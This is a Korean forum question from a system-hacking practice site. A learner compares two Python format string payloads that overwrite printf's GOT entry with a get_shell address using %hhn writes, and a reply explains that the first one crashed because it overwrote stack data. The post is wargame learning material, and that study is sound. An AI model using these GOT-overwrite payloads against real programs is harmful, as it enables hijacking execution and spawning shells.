두 코드의 결과의 차이 질문입니다.

문제를 푸는 것은 성공했으나 그 과정과 관련해서 질문을 올리고자 합니다.
처음에는 이전 문제와 비슷하겠지 하고 다음과 같이 짰었습니다.

shell1 = 0x69
shell2 = 0x86
shell3 = 0x04
shell4 = 0x08

payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += p32(printf_got + 2)
payload += p32(printf_got + 3)
payload += ('%{}c'.format(shell1 - 16)).encode()
payload += b'%1$hhn'
payload += ('%{}c'.format(shell2 - shell1)).encode()
payload += b'%2$hhn'
payload += ('%{}c'.format(0x100 + shell3 - shell2)).encode()
payload += b'%3$hhn'
payload += ('%{}c'.format(0x100 + shell4 - shell3)).encode()
payload += b'%4$hhn'

이렇게 짜인 페이로드를 보내보니 EOF로 쉘이 터져서 고민하다가 어차피 상위 2바이트는 printf와 get_shell이 똑같으니 하위 2바이트만 덮으면 되겠구나 싶어서 다시 아래처럼 고쳐서 다시 시도해보니 제대로 동작했습니다.

shell1 = 0x69
shell2 = 0x86

payload = p32(printf_got)
payload += p32(printf_got + 1)
payload += ('%{}c'.format(shell1 - 8)).encode()
payload += b'%1$hhn'
payload += ('%{}c'.format(shell2 - shell1)).encode()
payload += b'%2$hhn'

뭔가 느껴지는 건 첫 번째에서는 stack_buf의 크기를 넘어가버려서 터진건가 싶은데 확신이 없어서 이게 맞는건지, 아니면 다른 이유가 있는건지 궁금합니다.

#시스템_해킹
작성자 정보
답변 1
ollk
대표 업적 없음

아, 해결했습니다. 첫 번째 코드는 스택의 리턴값 부분까지 패딩(?)으로 덮어버려서 터지는거였네요.

2022.05.17. 21:49
질문에 대한 답을 알고 계신가요?
지식을 나누고 포인트를 획득해보세요.
답변하고 포인트 받기